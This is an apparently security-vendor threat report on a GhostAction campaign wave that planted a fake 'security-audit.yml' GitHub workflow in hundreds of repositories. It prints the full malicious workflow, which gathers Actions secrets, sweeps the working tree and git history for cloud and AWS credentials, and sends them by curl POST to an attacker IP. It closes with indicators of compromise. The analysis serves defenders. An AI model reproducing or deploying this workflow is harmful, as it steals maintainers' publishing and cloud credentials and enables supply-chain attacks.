New GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud Credentials
GhostAction campaign expands to steal cloud credentials from Git history and working tree.
Summary
The GhostAction campaign has evolved, with attackers using compromised GitHub maintainer accounts to inject malicious workflows into hundreds of repositories. This new wave not only steals GitHub Actions secrets but also scans the repository's working tree and full Git history for cloud and AI service credentials, exfiltrating them to a hardcoded IP address. The attack targets a wide range of repositories, including popular ones like kitao/pyxel and Uber's uber/athenadriver, potentially exposing sensitive cloud access keys.
Full text
BackResearchSecurity NewsNew GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud CredentialsA new GhostAction wave hits hundreds of GitHub repos, expanding CI/CD secret theft to cloud and AI credentials in source code and git history.Socket Research TeamOct 9, 2026|8 min readExport IOCs1Socket analyzed an October 8, 2026 burst of the GhostAction campaign in which two compromised maintainer accounts committed a workflow named security-audit.yml into 346 repositories — among them uber/athenadriver and the 18,420-star kitao/pyxel — merging GitHub Actions secret theft with a new sweep of the working tree and full git history for cloud credentials, posted in cleartext to a single hardcoded IP address.On October 8, 2026, two GitHub accounts — henrywoo and kitao — pushed a single-file commit adding .github/workflows/security-audit.yml to every repository they could write to. The commit messages were Add security audit workflow and Update security audit workflow. The workflow has no security function. It collects credentials and POSTs them to hxxp://193.32.204[.]199.Socket observed the file in 346 repositories: 318 under the henrywoo namespace (39 source repositories and 279 forks), 27 under kitao, and uber/athenadriver, an Uber-owned repository that henrywoo has write access to as its original author. The henrywoo sweep ran between 21:10:15Z and 21:26:32Z; the kitao repositories carry timestamps in a four-minute window at 13:40–13:44Z. Decade-dormant repositories were included alongside active ones, which is consistent with automated enumeration rather than selective targeting.This is a variation on the GhostAction campaign that GitGuardian documented in September 2025 and again in its return reported in 2026. The delivery method is unchanged — stolen maintainer credentials used to commit a plausibly named workflow — but the set of targeted secrets has expanded. Earlier waves took only what was stored in GitHub Actions secrets. This variant keeps that capability and adds a regex sweep for cloud provider and AI service credentials committed into the repository and its complete git history.As of October 9, 2026, the workflow file remains present on the default branch of the repositories Socket checked, including uber/athenadriver and kitao/pyxel. The injected workflow has run successfully in affected repositories. Socket has observed no malicious package versions published to PyPI or crates.io as a result of this activity at the time of writing.Socket’s AI scanner flagging the suspicious behaviour in one of the malicious workflow files.Injection of the Malicious Workflow#The campaign has three stages, only one of which lives in the workflow file.First, the operator obtains a working credential for a maintainer account. Socket did not observe how.Second, each repository is scanned for the Actions secrets it already uses, and those exact names are written into the payload before it is committed. This reconnaissance is the step GitGuardian described in earlier waves. The scale and uniformity of this burst indicate it is tool-driven rather than hand-performed: 346 repositories were processed across two accounts in two short windows, each file byte-identical apart from the rendered secret list, which is consistent with the names being extracted from existing workflow files and emitted into a template by the same generator that produces the rest of the payload.Third, the workflow is committed directly to the default branch and runs on the next push.Below is the complete workflow as retrieved from kitao/pyxel at commit 97670a55 . This commit is carrying both collection methods in active form, which makes it the clearest view of the campaign's current capability. Annotations mark which lines are inherited from the earlier GhostAction payload and which are new.name: Security Audit on: workflow_dispatch: push: # no branch or path filter jobs: audit: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 # ADDED - fetch every branch and tag - name: Audit run: | out="REPO=$GITHUB_REPOSITORY" # ---- INHERITED: GitHub Actions secret theft ---- [ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" # ---- ADDED: committed-credential sweep ---- grepped=$(grep -rEiho "<13 CREDENTIAL PATTERNS>" --exclude-dir=.git . 2>/dev/null | sort -u) gl=$(git log -p --all 2>/dev/null | head -200000) hist=$(echo "$gl" | grep -oiE "<13 CREDENTIAL PATTERNS>" | sort -u | head -300) ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150) hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150) full="$out AKIA_CTX_START $ctx $hctx AKIA_CTX_END $grepped $hist" if [ -n "$(echo $full | tr -d ' \n')" ]; then curl -s -m 20 -X POST --data-binary "$full" "hxxp://193.32.204[.]199/?c=monami" || true fiThe job runs on any push to any branch or tag, with no filter, plus workflow_dispatch for manual re-runs. Both collection methods append to a single variable and leave in one HTTP request, so a defender reading network data sees one POST carrying two unrelated classes of secret.The Inherited Half: GitHub Actions Secrets#Line 15 is the earlier GhostAction technique, unchanged in substance. Before the file is committed, the repository's existing workflows are scanned for the Actions secrets it uses and those exact names are rendered into the payload. For Pyxel the list is CARGO_REGISTRY_TOKEN, PERSONAL_ACCESS_TOKEN, PYPI_PASSWORD and PYPI_USERNAME.These are publishing credentials. Their value to an attacker is the ability to ship a malicious release of a package that users already trust, which is the mechanism that turns a single account compromise into a downstream supply chain incident.The Added Half: the Committed-credential Sweep#Everything from fetch-depth: 0 through hctx is new to this variant, and it targets a completely different source: credentials that developers committed into the repository, including ones they later removed. fetch-depth: 0 is what makes it possible. The default checkout fetches a single shallow branch; depth zero fetches every branch and tag, which gives git log -p --all the full patch text of the repository's history to read, including commits that were rewritten off the default branch but remain reachable from a stale branch or tag. Those are credentials the maintainer most likely believes are gone.Five variables do the collection:VariableSourceWhat it collectsgreppedWorking tree, .git excludedAny of 13 credential patterns in files currently checked outglgit log -p --allRaw patch text of every branch and tag — the full history buffer the next two passes readhistglThe same 13 patterns, matched against history rather than the working treectxWorking treeTwo lines either side of every AWS access key IDhctxglTwo lines either side of every AWS access key ID in historyThe two context passes are the most deliberate part of the addition, and they are the reason this variant should be read as cloud-credential tooling rather than a generic secret scanner. An AKIA or ASIA value is only a key identifier; it authenticates nothing on its own. The corresponding 40-character secret access key is what an attacker needs, and in practice it sits one or two lines away in an .env file, an AWS credentials file, a Terraform variables file, or a CI configuration block. By capturing a window around every key ID in both the working tree and the history, the payload reconstructs complete, usable AWS key pairs instead of returning orphaned identifiers. The delimiters AKIA_CTX_START and AKIA_CTX_END fence that
Indicators of Compromise
- ip — 193.32.204.199
- url — hxxp://193.32.204[.]199/?c=monami
- mitre_attack — T1539
- mitre_attack — T1078.004
- mitre_attack — T1040
- mitre_attack — T1003